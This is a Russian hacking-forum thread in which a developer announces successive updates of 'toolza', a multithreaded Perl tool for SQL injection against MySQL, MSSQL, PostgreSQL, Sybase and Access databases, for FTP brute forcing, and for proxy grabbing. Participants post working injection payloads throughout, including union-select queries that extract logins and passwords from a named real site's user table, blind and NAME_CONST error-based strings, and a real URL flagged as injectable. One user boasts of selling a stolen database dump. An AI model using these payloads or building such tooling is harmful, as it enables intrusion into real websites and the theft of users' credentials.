Qwazar, если ты знаешь проги быстрее этой и готов предоставить мне "более правильный" алгоритм перебора - я буду только рад :) Я кстати не просто так спросил алгоритм подбора одного символа. Ты используешь бинарный поиск или как?
А про быстрый и правильный я уже писал: https://forum.antichat.ru/thread119047.html .
Pashkela
23.10.2009, 20:03
Бинарный. Код в первом посте. Твое видео в ][ смотрел. Здесь представлен скрипт без претензий на "самый быстрый, самый классный, самый-самый". Просто скрипт.
PS: Имя пользователя, название любой таблы в БД, название любой колонки из таблы имеет такое же отношение к MD5, как....
Есть такое понятие - реальное время отклика сайта, ширина канала, стабильность связи с удаленным сервером, в видео рассмотрен реальный случай, а не localhost
про метод брута - внимательней читай тему плиз:
Blind:
PS: Основанно все и содрано практически один в один и адаптированно в perl с php-скрипта Grey
Скрипт представляет из себя универсальный набор инструментов для классических случаев и никак не претендует на уникальность в плане быстрейший алгоритм брута значений при Blind MySql injection.
Но как бы элементарные вещи, например бинарный поиск (задание дипазона, нахождение середины дипазона и etc.) тут есс-но реализованы.
но каждый запрос - это например version(), а не разделение потоков на перебор всех символов в version(), просто таже version() одновременно узнается и брутится с
А может будет быстрее, если выделять отдельный поток на каждый символ ? Ну например:
Список чего 'узнать':
user()
database()
version()
...
Алго:
1 Выбираем из списка верхнее ('что' узнать)
2 Определяем длину ...length(...)....
3 открываем n потоков(на каждый символ), где n получено в пункте 2
4 ... узнаем символы ... сохраняем результаты ... закрываем потоки
5 если список != пусто, переходим в пункт 1
Мб имеет смысл потестить такой алгоритм и посмотреть сколько суммарно займет времени ?
Pashkela
24.10.2009, 08:23
update: теперь процесс подбора более нагляден, обновления в первом посте
Мне кажется или ссылки на сам скрипт нету? о_0
http://bug-track.ru/prog/toolza1.0.rar
в самом низу над видео ссылками )
Паш, софт норм, юзаю! Молодец!
Только один вопрос:
Запихнул прогу в C:\toolza\, но почему-то файл logs.txt ищет в "Мои документы" и создает логи тоже там...
Сори, разобрался, надо было просто *.cmd создать, как у тя ;)
Pashkela
24.10.2009, 16:28
про cmd не очень понял, просто надо чтобы все файлы лежали в одной папке со скриптом. Название папки не имеет значения, как и способ запуска
Ой да заебали вы на свою консоль дрочить, 21й век блядь, хватит уже.
Мда =/
Во первых, на что ты .....?
Во вторых, ты вроде уважаемый человек а пишешь чушь! Как ты запускаешь сплоеты? Конектишься через VNC, а дальше через файловый менеджер двойным кликом по файлу? о_О. Да и гуи вашего хваленого Win* очень хорош. Пока настроишь сеть, займет мин 10. хотя в nix'ах все одной строкой через ifconfig. Да и говоришь ты как школьник. `grep -rl "passwd" .`- найдет быстро и за секунды(и никакой тупой собачки). Или когда нужно быстренько занести строку в файл, ты будешь это делать через Notepad*? пока будешь это делать, быстрее написать: echo 'stroka'>>/etc/simple.
В третьих, уже цветным можно материться? о_О
Да и кстати. У многих уже палец прирос к мыши что частенько всплывают темы как люди пишут свои чистилки дублей на пыхе, паскале и т.д.
т.е. получается что вы изобретаете велосипед? о_О
тогда как знающие напишут в консоле: `cat file.txt | sort | uniq > unic.txt` и проблем нет.
И что лучше потрать 5-10 минут на создание программы, чем выучить пару консольных команд потому что консоль это для красноглазых идиотов?
Мда =/
В третьих, уже цветным можно материться? о_О
А он че не человек?
Ну не нравится ему консоль и че?
Я на пост (Dm) это написал. Меня бесит когда люди не могут признать очевидного, и в любом месте пытаются вставить свои 5 копеек про охуенство консоли. Как песок в вагине, ей богу. Сплойты? Да, сплойты консольны, их один/два/три раза используешь и забудешь. Да и вообще, для сплойта как раз не нужен никакой гуй. А этот софт уже относится к софту для постоянного использования, и тут просто глупо пытаться доказать что консоль удобней гуя. Надо видеть разницу.
ЗЫ Да и хватит уже посты тереть, это обсуждение софта, или надо писать только "+1 ХОРОШАЯ ТУЛЗА" ?
ЗЫЫ Товарищи линуксоиды, не будьте лицемерами, возможности ваших кед/гномов в разы превышают возможности интерфейсов винды, не надо тут про олдскульную консоль задвигать.
Я на пост (Dm) это написал. Меня бесит когда люди не могут признать очевидного, и в любом месте пытаются вставить свои 5 копеек про охуенство консоли. Как песок в вагине, ей богу. Сплойты? Да, сплойты консольны, их один/два/три раза используешь и забудешь. Да и вообще, для сплойта как раз не нужен никакой гуй. А этот софт уже относится к софту для постоянного использования, и тут просто глупо пытаться доказать что консоль удобней гуя. Надо видеть разницу.
ЗЫ Да и хватит уже посты тереть, это обсуждение софта, или надо писать только "+1 ХОРОШАЯ ТУЛЗА" ?
Если кто говорит что консоль крута для редактирования текста/гарфики и прочего, то он либо дебил либо извращенец.
Но! что удобней, написать в консоле: `apt-get remove -y soft1 soft2 soft3 ....` или в гуи ставить галочки? а в выне вообще нужно ждать пока удалиться одно приложение, чтобы удалить другое. И что консоль плоха? Конечно это не панацея от всех проблем, но во многом себя оправдывает.
А он че не человек?
Ну не нравится ему консоль и че? А мне не нравиться, то что происходит в разделе Новости. Мне также можно писать маты в топике???
Ты не понял о чём я писал. Я НЕ говорил что консоль плоха как таковая, зачем ты месишь всё в кучу? Прочитай внимательней строчку про постоянно юзабельное ПО и разовые действия.
Pashkela
24.10.2009, 19:07
2 .Slip:
Ну нету на perl GUI нормально совместимого с многопоточностью, придется как-то жутко извращаться и переписывать половину кода при том, что еще не факт, что скорость останется хотя бы на прежнем уровне и не будет глюков/зависаний на самых ответственных моментах. Так что cmd-gui окончательный вариант, как мне не жаль.
PS: В файлик не так и сложно настройки прописать, а дальше только по цифрам клацать, имхо.
Ты не понял о чём я писал. Я НЕ говорил что консоль плоха как таковая, зачем ты месишь всё в кучу? Прочитай внимательней строчку про постоянно юзабельное ПО и разовые действия.
Почти согласен. Но! есть разные gui утилиты для SQL-Inj. так вот, после запуска появляется огромная куча полей с опциями, куча контролов и т.д. пока я разберусь что мне нужно, пройдет время. а есть утилита sqlmap, так ей задал буквально 2 аргумента и все! вывод ещё можно в файл записать и перед этим каким нибудь скриптом очистить его от мусора. а что с гуи? дождешься пока он выбирет нужные записи и это разместит в текстовом поле. после самому ручками это все в файл записывать(не дай бог ещё от мусора вручную очищать).
Также установка ПО это тоже не разовое дело. Поэтому лучше `apt-get update;apt-get -y upgrade` чем вызвать гуи дождаться пока он обновит записи репозиториев, а после жать на кнопку установить.
P.S. а что если нужно вытащить таблицы из кучи сайтов(100 например). В большинстве гуи утилит есть поле только для одного url, а как же быть тогда? Вручную это все вбивать? или лучше когда есть консольная версия программы, когда с помощью `cat ./sites.txt | xargs -i -t programname --site-attack {} >> {}.txt` программе передают сайты, она выдирает из них данные и после создает текстовый файл с названием сайта, в котором расположен вывод программы?
Pashkela
25.10.2009, 08:18
update: Blind MySql inj: несколько изменен алгоритм подобора, средний прирост скорости ~ 10% по результатам 10 тестов одного и того же сайта. Обновления в первом посте.
hiz, а в жизни если перед тобой поставили самокат и велосипед, ты выбрал бы самокат, ведь на него не надо мучатся садиться, не надо педали крутить, и у него калеса меньше, и цепь не спадывает потому что ее нет.
примерно такова твоя логика и принцип суждения..
с гуи было бы лучше, но нет так нет :)
Pashkela
26.10.2009, 21:54
update: Blind MySql injection:
- Общее ускорение время работы скрипта в 1,5 - 2 раза
- TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 0-255) - универсальный, вывод ошибок необязателен
- MD5-TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 48-102) - универсальный, вывод ошибок необязателен
видео(все тесты на реальных сайтах):
режим TURBO-MODE (http://bug-track.ru/prog/toolza_turbo.rar)
режим MD5-TURBO-MODE (http://bug-track.ru/prog/toolza_md5.rar)
обновления в первом посте
PS: Отдельное спасибо и привет krypt3r - за разъяснение некоторых моментов работы потоков.
Pashkela
27.10.2009, 11:02
update: устранены баги в режиме Blind MySql injection при дампе большого кол-ва данных (~ больше 10 записей) - просходила потеря части символов. Исправления в первом посте
update(28.10.09): Blind MySql injection - новое устранение багов, оказывается правильность получения символов напрямую связана с качеством конекта с сайтом. Так что перед каждым запуском любого пункта будет предлагаться выбор режима - fast или normal, какой выбрать будет понятно еще во время получения системной информации. Normal медленнее, но результаты всегда правильные. Обновления как всегда в первом посте.
update(29.10.09): режим сканирования сайта на папки и файлы - словарь стал 3455 позиций
Pashkela
06.11.2009, 18:10
update:
FTP checker:
- Многопоточный
- Сохраняет проверенные ftp в файл
- Поддерживаемые форматы:
1) ftp://login : pass@host
2) ftp://login : pass@host : port
каждый с новой строки
- если порт не указан, выставляется дефолтный (можно менять в настроках - по умолчанию 21)
- возможны пробелы между строками(автоопределение)
- возможны любые символы в начале и в конце строки (автоопределение)
PROXY checker:
- Многопоточный
- Сохраняет хорошие proxy в файл
- формат ip : port - каждый с новой строки
плюс видео. Обновления в первом посте
PS: В проекте ftp iframer - любой указанный файл из списка, либо список файлов, плюс фтп через прокси
Pashkela
07.11.2009, 18:25
update:
MySql inj bruter кол-ва колонок:
- Многопоточный
- POST/GET, proxy & etc.
- Метод union+select
- Возможность менять максимальное кол-во колонок - по умолчанию 100
- Возможность менять фильтр
- Возможность менять знак пробела
- Определение правильности запроса по наличию или отсутствию уникального текста на странице
- автоопрделениe limit (без лимита, limit+0,1, limit+1,1)
- определение принтабельной колонки
- Алгоритм работы:
1) сначала прогоняется по 20 колонок без лимита, с limit+0,1, c limit+1,1, затем, если не нашлось кол-во колонок, прогоняется от 21 до максимально выставленного кол-ва колонок (100 - default) также без лимита, с limit+0,1, c limit+1,1
2) после нахождения кол-ва колонок ищется принтабельная колонка также без лимита, с limit+0,1, c limit+1,1
в видео рассмотрен нестандартный случай - правильное кол-во колонок определяется без лимита, принтабельная колонка появляется только с limit+1,1
режим MySql column number bruter (http://bug-track.ru/prog/toolza_column_bruter.rar)
shellz[21h]
07.11.2009, 18:31
Добавь туда еще mssql экстрактор
спс прога класс мне понравился, как увеличить поток с 10 на 30-40?
Pashkela
07.11.2009, 19:12
не особо это хорошо на правильности результатов может отразиться, но зависит от качества коннекта с сайтом, может и получиться, заменить в строке в файле в разделе "Глобальные настройки для всех режимов" кол-во потоков
$kol_threads = 10; # Кол-во потоков, рекомендуется -10 | Number of threads - 10 recommended
на желаемое
можеш сделать фтп брут ? на подобе чекерра
Pashkela
07.11.2009, 19:28
можеш сделать фтп брут ? на подобе чекерра
сделаю попозже
index.php?_m=tickets&_a=submit&subscriberesult=1+and+31337-31337=0+--+
есть блинд инъекция на этом параметре, но никак не смог настроит на твою прогу :confused:
Pashkela
07.11.2009, 19:58
YuNi|[c:
сначала надо довести до substring(version(),1,1)=чему-то
а не просто догадки какие-то.
Если, к примеру, будет
index.php?_m=tickets&_a=submit&subscriberesult=1+and+substring(version(),1,1)=5--+
то в скрипт надо будет вставить такую ссылку:
index.php?_m=tickets&_a=submit&subscriberesult=1
плюс правильно зафиксировать уникальный текст при правильном/неправильном запросе
спс попробую, но в блинд обычно результати прав/неправилные не отличаются
все таки если можеш сделай видео на настройку блинд, а то не получается. Полезно будет всем
Pashkela
07.11.2009, 20:34
первый пост темы содержит видео по работе с blind
PS: Там есть видео на ВСЕ режимы работы, кроме сканирования на файлы/папки, т.к. это просто
но в блинд обычно результати прав/неправилные не отличаются
заодно и увидишь, как "не отличаются" и что такое "уникальный текст"
если есть "PROXY checker", то почему бы не добавить граббер?
если надо - у меня готовый код на перле
Pashkela
07.11.2009, 21:19
была мысля, просто по идее добавляешь в отдельный файл список сайтов и парсишь все поочереди. Почему в файл? Чтобы была возможность добавлять свои ну и вообще в будущем, отсеивать нерабочие уже и т.д. Вот от списка проверенных сайтов не отказался бы, а писать там при уже имеющемся функционале минут 20
была мысля, просто по идее добавляешь в отдельный файл список сайтов и парсишь все поочереди. Почему в файл? Чтобы была возможность добавлять свои ну и вообще в будущем, отсеивать нерабочие уже и т.д. Вот от списка проверенных сайтов не отказался бы, а писать там при уже имеющемся функционале минут 20
http://www.proxy4free.com/page1.html
http://madnet.name/tools/proxy/index.php
http://www.proxylists.net/http_highanon.txt
http://www.proxylists.net/http.txt
http://www.proxylists.net/socks5.txt
http://www.multiproxy.org/txt_all/proxy.txt
http://www.proxy4free.com/
http://www.digitalcybersoft.com/ProxyList/
http://www.checker.freeproxy.ru/
http://tools.rosinstrument.com/proxy/
http://www.samair.ru/proxy/" target="_blank
http://www.multiproxy.org/anon_proxy.htm
http://www.stayinvisible.com/cgi-bin/in.cgi?a=115
http://proxy.mazafaka.ru/
http://www.proxz.com/
http://www.anonymitychecker.com/
http://www.publicproxyservers.com
http://free-proxy-servers.com/
http://www.pgzone.net/
http://www.samair.ru/proxy/socks.htm
http://www.atomintersoft.com/products/alive-proxy/proxy-list/
http://netspy.ukrpack.net/
http://kiev-security.org.ua/
http://www.0privacy.com/proxy.html
http://shadowsecurity.net.ua/r/web/websocks.shtml
http://emoney.al.ru/security/
http://www.winfosec.com/proxies/
http://tools.rosinstrument.com/proxy/
http://www.multiproxy.org/
http://www.ijs.co.nz/index.html
http://www.stilllistener.addr.com/checkpoint1/index.shtml
http://www.cybersyndrome.net/
http://field.h1.ru/protect/proxy_r.php
http://www.proxyking.com/candidate.html
http://www.openproxies.com/
http://bestproxy.narod.ru/
http://www.madalf.ru/proxylist.shtm
http://www.astalavista.com/privacy/lists/proxy
http://www.thebestfree.net/free/freeproxy.htm
http://basicsecuritybyspaz.freeyellow.com/
http://tapor.com/checkp/
http://www.multimania.com/nohack/proxis.html
http://ssdd.virtualave.net/
http://www.novelsoft.com/dark/proxy/index.html
http://www.mafiatop.ru/proxy_list.html"
http://freeproxy.chat.ru/
http://www.thefreeplus.com/freeservice/freeproxy.html
http://www.proxy-world.de/
http://www.kv.g.com.ua/~batmanb/box/a1/
http://www.kv.g.com.ua/%7Ebatmanb/box/a1/
http://tinhban.narod.ru/proxy.html
http://tinhban.narod.ru/proxy.html
http://stuff-free.chat.ru/fps1.htm
http://stuff-free.chat.ru/fps1.htm
http://www.geocities.com/SiliconValley/Network/1120/proxy.html
http://www.westdollar.narod.ru/free_proxy_list.htm
http://www.madalf.ru/proxy.shtm
http://theproxyconnection.com/"
http://users.g.com.ua/~batmanb/box/a/1.htm
http://www.antiproxy.com/proxysearch.php
http://infobez.net.ru/index.php?art=proxysocks
http://www.proxylist.com.ru/
http://voslabor.nm.ru/
http://www.activeproxy.info/
http://proxy.shternov.ru/sl/13.htm
http://proxy-socks.info/
http://www.checker.freeproxy.ru/checker/last_checked_proxies.php
http://proxy-list.org/en/index.php
http://www.proxy-zone.com/
http://proxy.shternov.ru/
http://proxylist.h12.ru/
http://www.samair.ru/proxy/proxy-01.htm
http://www.proxy4free.com/page1.html
http://www.samair.ru/proxy/
http://www.proxylists.net/http.txt
http://www.proxylists.net/http_highanon.txt
http://www.proxylists.net/socks5.txt
http://www.multiproxy.org/txt_all/proxy.txt
http://www.textproxylists.com/proxy.php?allproxy
http://design.ngame.ru/freeproxy.txt
http://www.multiproxy.org/anon_proxy.htm
все фри-сайты, есть беды )
Pashkela
07.11.2009, 21:57
ок, завтра встрою, спасибо
Pashkela
08.11.2009, 00:51
update:
PROXY grabber:
- Многопоточный
- Кроме SOCKS4 и SOCKS5
- 16 актуальных сайтов с проксями (thx 2 eLWAux)
- Возможность грабить прокси через POST|GET|cookie и даже через proxy :)
- Возможность добавлять свои сайты для грабинга (никакого выбора "порт/страна/диапазон ip" - или сразу список или зря потерянное Ваше время, ищите сразу рабочую ссылку со списком проксей)
- Маска простейшая, на абсолютную корректность не проверяется (на то есть таймаут и ваш AI):
/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/g
(пример: 127.0.0.1:8080 )
ибо если не придерживаются стандарта - ну и ну их
Выложена видеодемонстрация:
- грабим прокси
- сразу чекаем на валидность (после того, как обошли и пропарсили все сайты из списка в режиме POST + 10 потоков - хотите больше - эксперементируйте, чем больше таймаут - тем корректней результат, но тем больше вероятность, что прокси фиговая)
Видео: режим PROXY grabber (http://bug-track.ru/prog/toolza_proxy_grabber.rar)
Все обновления как всегда в первом посте темы.
Pashkela
08.11.2009, 17:10
update:
FTP bruter:
- Многопоточный (50 потоков checked)
- Три режима работы:
1) Брут login : password (любой делиметр, задается в настройках, по умолчанию ":")
2) Известен логин, брут паролей
3) Известен пароль, брут логинов
п. 3 может пригодиться, если вы желаете проверить найденный Вами пароль от SSH или phpmyadmin или просто от админки - вдруг подойдет и на FTP
В видео рассмотрены все три режима работы, словарь паролей взят из mil-dic.txt (83641 записей)
PS: Не забывайте, на некоторых хостах надо задавать обязательную паузу между попытками входа, например на ftp.narod.ru (5 сек) - выставляется в глобальных настройках скрипта
Видео: режим FTP bruter (http://bug-track.ru/prog/toolza_ftp_brute.rar)
Хорошая прога, добавь еще SSH-брутер, будет вообще отлично :)
Pashkela
08.11.2009, 20:14
Поддержка https и ssh требует установки дополнительных модулей, хз, может позже
прога вообше супер, быстро слил большую базу, но автор если можно добав и MSSQL/ACCESS
а то на access нету норм инжекторов
если можно поправ парсер проги. После закончения дампа сохраняет на z_blablabla.txt
но очень много кривости, где то объединяет 2строки, где то вырезает произвольно любую часть строки. Просто дамп испортится
Pashkela
09.11.2009, 14:51
После закончения дампа сохраняет на z_blablabla.txt
z_host.txt - так и должно быть
где то объединяет 2строки, где то вырезает произвольно любую часть строки
В каком режиме работы? Сколько потоков выставляешь? Рекомендуемое кол-во потоков при дампе - 10
Blind MySQL inj - строго не больше 10 потоков, при плохом соединении normal mode только
Помогите с одной проблемой icq Tри59860516
z_host.txt - так и должно быть
В каком режиме работы? Сколько потоков выставляешь? Рекомендуемое кол-во потоков при дампе - 10
Blind MySQL inj - строго не больше 10 потоков, при плохом соединении normal mode только
Режим get/не блинд/поток 30 при канале 500кб/с.
Дамп сильно поврежден, особенно хеш md5. Ели продал дамп, но хеши для себя надо брутить.
Кто знает парсер чтоб взял норм MD5 с списка(32 символов)?
Pashkela
09.11.2009, 20:51
в режиме дампа - 10 потоков, выше написано
Поддержка https и ssh требует установки дополнительных модулей, хз, может позже
use Net::SSH::Perl;
my $ssh = Net::SSH::Perl->new($host);
$ssh->login($user, $pass);
my($stdout, $stderr, $exit) = $ssh->cmd($cmd);
в ридми напишешь как устанавливать доп. модули )
Режим get/не блинд/поток 30 при канале 500кб/с.
Дамп сильно поврежден, особенно хеш md5. Ели продал дамп, но хеши для себя надо брутить.
Кто знает парсер чтоб взял норм MD5 с списка(32 символов)?
ооо теперь все норм, даже отлично. Просто при дампе надо потоков уменшить до 10 или даже на 5 чтоб все данные без кривости слились.
Тс тулза отлично справился с задачей зачот автору. Если дальше будуть добавлятся access и mssql будеть вообще супер.
Pashkela
12.11.2009, 23:28
update:
- скрипт переведен в формат UTF-8
- Разделитель в режимах MySQL-inj, LFI/READER/Load_file заменен с "№" на универсальный "^" (shift+6), для большей совместимости. Отдельное спасибо за тесты на различных системах YuNi|[c
Обновления как всегда в первом посте темы
А как быть если перебор идёт через limit вот например limit+35,15 (а не так limit+35,1)
shellz[21h]
13.11.2009, 00:27
limit x,y первый параметр с какой записи, а второй сколько.
А у тебя что получается limit 35,15?
']limit x,y первый параметр с какой записи, а второй сколько.
А у тебя что получается limit 35,15?
нет эт я пример просто написал! а нескажешь почему например юзеров 10000 тулза ничинает выводить но не все а намного меньше ну штук 100-150 но бывает даже меньше(( может вот из-за этого лимита просто я пробывал в ручную переберать и лимит шол вот как(Limit+1,1 limit+2,1 limit+3,2 limit+4,3) ну и так далее
Pashkela
13.11.2009, 00:33
А как быть если перебор идёт через limit вот например limit+35,15 (а не так limit+35,1)
ссылку в студию, пока на бред похоже
нет эт я пример просто написал! а нескажешь почему например юзеров 10000 тулза ничинает выводить но не все а намного меньше ну штук 100-150 но бывает даже меньше(( может вот из-за этого лимита просто я пробывал в ручную переберать и лимит шол вот как(Limit+1,1 limit+2,1 limit+3,2 limit+4,3) ну и так далее
иногда не все, что посчитано, доступно к чтению. Или неправильно считает
shellz[21h]
13.11.2009, 00:45
как ты узнал, количесво выводимых данных? через count(*)
Pashkela
13.11.2009, 00:51
axe89 дал ссылку в личку, все прекрасно парсится и через пост даже, в чем трабл - непонятно
ты попробуй чтоб она всех юзеров вывела.я пробывал у меня из всех юзеров только штук 100 выводило
Pashkela
13.11.2009, 00:58
Ну, проверил, пишет 12 с чем то тысяч юзеров, выводит около 170 - значит реально 170 и есть. Можешь проверить запросом:
+union+select+1,2,3,4,5,count(*),7,8,9,10,11+from+ mobile_funsat1.polyfun_users
покажет 12651
но это не значит, что это так и есть. База может быть порушена, юзеры могут быть некорректно удалены и т.д.
Реально дампит то, что дампится. То, что считается, далеко не всегда соотвествует действительности
PS: 10 потоков
Прежде, чем кидать предъявы, проверь:
+union+select+1,2,3,4,5,concat_ws(0x3a,login,pass) ,7,8,9,10,11+from+mobile_funsat1.polyfun_users+lim it+200,1
если выведет логин и пароль - то я съем свою мышку
я если чесно когда про тулзу незнал я в ручную переберал дошол до 2к
Pashkela
13.11.2009, 01:12
ок, еще раз:
+union+select+1,2,3,4,5,concat_ws(0x3a,login,pass) ,7,8,9,10,11+from+mobile_funsat1.polyfun_users+lim it+200,1
ты хочешь сказать, что при данном запросе что-то выводит?
PS: Нестандартные запросы, типо
limit 20,20 - не поддерживаются
+union+select+1,2,3,4,5,concat_ws(0x3a,login,pass) ,7,8,9,10,11+ from+polyfun_users+limit+2000,15
Pashkela
13.11.2009, 16:51
udate:
MySql inj NAME_CONST:
- Многопоточный
- POST/GET/Coockies & etc.
- Все те же возможности, что и при обычной скуле + та же скорость
- просто заменить два раза "version()" на "^" (shift+6), т.е. было:
http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1/*
стало:
http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((^),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((^),14)e)b)a)/**/and/**/'1'='1/*
Отдельный риспект хотелось бы выразить Qwazar (http://forum.antichat.ru/member.php?u=17119) и jokester (https://forum.antichat.ru/member.php?u=50385) за эту (http://forum.antichat.ru/threadnav119047-2-10.html) тему.
В видео рассмотрен полный процесс от получения версия до дампа 3 373 юзеров (логины/пароли) с риал сайта.
Видео: - режим MySql inj NAME_CONST (http://bug-track.ru/prog/toolza_name_const.rar)
Обновления как всегда в первом посте темы, скрипт в UTF-8
нет эт я пример просто написал! а нескажешь почему например юзеров 10000 тулза ничинает выводить но не все а намного меньше ну штук 100-150 но бывает даже меньше(( может вот из-за этого лимита просто я пробывал в ручную переберать и лимит шол вот как(Limit+1,1 limit+2,1 limit+3,2 limit+4,3) ну и так далее
значит что то с базой не то, не может быть так урезал остальных. Я уже проверил и слил базу на 23к с чем то юзеров прекрасно слил. Еще ставь на 10 потоков а то база может испортится(на 10 тоже быстро сливает).
Pashkela что то при MySQL injection column number bruter номера полей много раз выводит 11 а так там 25. Пробовал изменят на GET, добавил/ удалил c id=-1 "-" но все таки выводит полей 11. ССылку не в студию (большая база), но ты протестирую может глюк какой то. Еще если можно добав функцию чтоб юзер сам выбрал:
[1]Union Select
[2]Order By
[3]Group By
а то авто выбор может глючит.
Pashkela
13.11.2009, 22:50
В режиме MySQL injection column number bruter решающее значение имеет уникальная мессага при правильном/неправильном запросе именно кол-ва столбцов. Проверял на 105 колонках - все работает.
PS: Нет никогда абсолютной гарантии, что тулза сработает на любой инъекции, это тоже учитывайте. На большинстве, но не на абсолютно всех, как и любая другая прога такого типа. Всегда есть какие-то особенности, всё не предусмотришь
Играйте с потоками - уменьшайте вплоть до одного при некорректных ответах. Большое значение имеет качество коннекта с сайтом и ширина вашего интернет канала в том числе.
прога класс, но кто нит знает многопоточную дампер на MSSQL(silviasql и DarkMSSQL не в счет, они на больших базах тормозит)? Toolza прекрасно работает с большыми базами, но жал только на MySQL ((
очень надо если кто знает на MSSQL
Pashkela
15.11.2009, 14:46
2-ой пост темы:
https://forum.antichat.ru/showpost.php?p=236188&postcount=3
А вообще сейчас пишу
Pashkela
16.11.2009, 03:02
udate:
MSSQL injection:
- POST/GET/Cookie & etc.
- Определение кол-ва колонок и принтабельной колонки не требуется
- авто-CHAR всех данных
- Полный цикл - от системных переменных до данных из колонок:
1) Получаем системные переменные (@@version,system_user,db_name())
2) Таблицы из information_schema.tables (1 thread, специфика MSSQL inj)
3) Колонки из таблицы (1 thread, специфика MSSQL inj)
4) Данные из таблицы на основе выбранных колонок (Multithread, max 10) - обязательно наличие autoincriment поля (id & etc).
Видео: режим MSSQL injection (http://bug-track.ru/prog/toolza_mssql.rar)
PS: Пока сыровато конечно, но из 10 скулей 8 обработало. Пока только исключительно для классических случаев. Need more tests
главное 10потоков на Dump вставил, молодец будем тестит.
Pashkela
16.11.2009, 05:51
в общем перекачайте, исправления появились
в общем перекачайте, исправления появились
сорец или видео перекачать? Думаю в сорце все таки спросил
ну пока еще сыровато, convert int надо добавит на error based. а так стандартные скули запросто сливает
Pashkela
16.11.2009, 13:21
update MSSQL:
добавлен convert(int,.....)
1- юзать, 0 - не юзать
как обычно первый пост
update MSSQL:
добавлен convert(int,.....)
1- юзать, 0 - не юзать
как обычно первый пост
как добвать хост на конверт? типа: http://localhost/script.asp?id=1'+and+1= или http://localhost/script.asp?id=1'
Pashkela
17.11.2009, 01:24
есть же видео, вместо
http://localhost/script.asp?id=1'+and+1=@@version
в прогу надо вставить
http://localhost/script.asp?id=1'+and+1=
Pashkela
17.11.2009, 04:56
update: оптимизация меню +:
PostgreSQL injection:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках data type принтабельного поля ("text" - default)
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql
Вывод на экран и сохранение в файл. Видео прилагается
режим PostgreSQL injection (http://bug-track.ru/prog/toolza_ps.rar)
Обновления как всегда в первом посте темы, скрипт в UTF-8
Pashkela
17.11.2009, 20:27
update: устранение серьезных багов после "оптимизации меню" - половина режимов были просто нерабочие (сорри)
как всегда в первом посте
PS: При blind sql-inj особое значение имеет timeout
Пишите о тех багах, что нашли сами, одному уже сложно перелопачивать такую кучу кода
Pashkela
18.11.2009, 19:43
udate:
Sybase SQL injection:
- Пока в один поток (специфика sybase sql inj)
- Post/Get/Cookies/Proxy & etc.
- Не требуется подбор кол-ва колонок и поиск принтабельной
- Возможность задавать тип конвертации данных для вызова ошибки (numeric, integer & etc)
- Авто hex(data)||
- Дампит все БД, все таблицы (плюс ID), все колонки из выбранной таблицы (плюс ID) + данные из таблиц - пока только одну запись, не разобрался пока с перебором когда нет autoincriment полей, ждем, когда выздоровеет Scipio
Вывод на экран и сохранение в файл. Видео прилагается
видео: режим Sybase SQL injection (http://bug-track.ru/prog/toolza_sybase.rar)
ооо молодец, access добавь чтоб и jet скулил. А так мне очень помогает туллза.
Например сравнение:
На одном MYSQL 5 inj. Sqlhelper2.7, sipt4 не смогли найти даже правильные visible поля, а тулза прекрасно справился. Пока что очень надо юзать на Access с Jet драйвером.
ждемс
Pashkela
20.11.2009, 02:29
update:
Mssql inj
теперь все по взрослому - многопоточность на любом этапе и бла-бла-бла. Ничем теперь не отличается от mysql, никаких спец требований, устранение багов, добавление универсальности
Огромный риспект хотелось бы выразить [Razor] и Scipio - за два дня от них можно узнать о "не mysql inj" больше, чем за годы.
Аналогов в паблике нет
PS: Ms Access в разработке
Pashkela
21.11.2009, 18:14
update:
Ms Access SQL injection:
- POST/GET/Cookie/Proxy & etc.
- Возможности:
1. Определение кол-ва столбцов через order+by (надо указать ошибку, когда кол-во столбцов больше) - multithread
2. Брут имен таблиц - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
3. Брут имен колонок - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
4. Автоопределение принтабельной колонки
5. Дамп данных из таблицы (1 thread - специфика access)
6. Автоопределение типов данных при дампе (независимо от того, дампятся данные из одной колонки или нескольких и независимо от порядка их расстановки, т.е. дампите как обычно - id,name,email...)
Вывод на экран и запись в файл.
Видео: режим Ms Access SQL injection (http://bug-track.ru/prog/toolza_access.rar)
Обновления в первом посте, скрипт в UTF-8
ооо спс юро ты выручаеш не тока меня своей тулзой. молодец, надо теперь постит на всех ресурсах где можно и на англоязычниках тоже, пусть наслаждаются.
PS. кстати насчет этого http://investorshub.advfn.com/boards/boards_moderated.asp?user=9999999999999'+and+1=1-- тулза не признает никак.
Pashkela
21.11.2009, 20:57
http://investorshub.advfn.com/boards/boards_moderated.asp?user=9999999999999'+and+1=@@v ersion--
Идет перенаправление, по видимому фильтр (в том числе и на скобки). Тулза работает только со скулями доведенными хотя бы до состояния выяснения версии в mssql inj. Не надо делать из неё решателя всех ваших проблем. Вот когда ты мне покажешь скулю, где будет четко видна выясненная версия, и тулза с ней не справится, вот тогда.....тогда я тебе скажу в очередной раз, что ничего совершенного нет на этой планете :)
надо теперь постит на всех ресурсах
не надо пока ничего постить :) Еще надо sybase в нормальное состояние привести, postgresql сделать возможность работу на подзапросах и наконец Oracle и, может быть, кто-нибудь статью таки напишет про Interbase
А еще во всех видах sql inj есть блайнд....в общем еще очень много работы
Pashkela
22.11.2009, 06:58
update:
доделал Sybase - добавлено автоопределение типов данных + теперь можно дампить все записи (в один поток, но зато универсально, т.к. не все версии sybase поддерживают top+1)
блин access/jet очень надо, в меню есть но пока не рабочий
упс сорри я сам не обновился, прекрасно работает на MS Access респект. Думаю тулзу в избранное надо переместит
Если сможеш добав еще словарей для брута табл/кол
Pashkela
22.11.2009, 09:54
Если сможеш добав еще словарей для брута табл/кол
Для access нигде нету чото, придется самим собирать, пока юзаются теже, что и в mysql
shell_c0de
22.11.2009, 14:55
Тулза не раз выручал реально респект +1
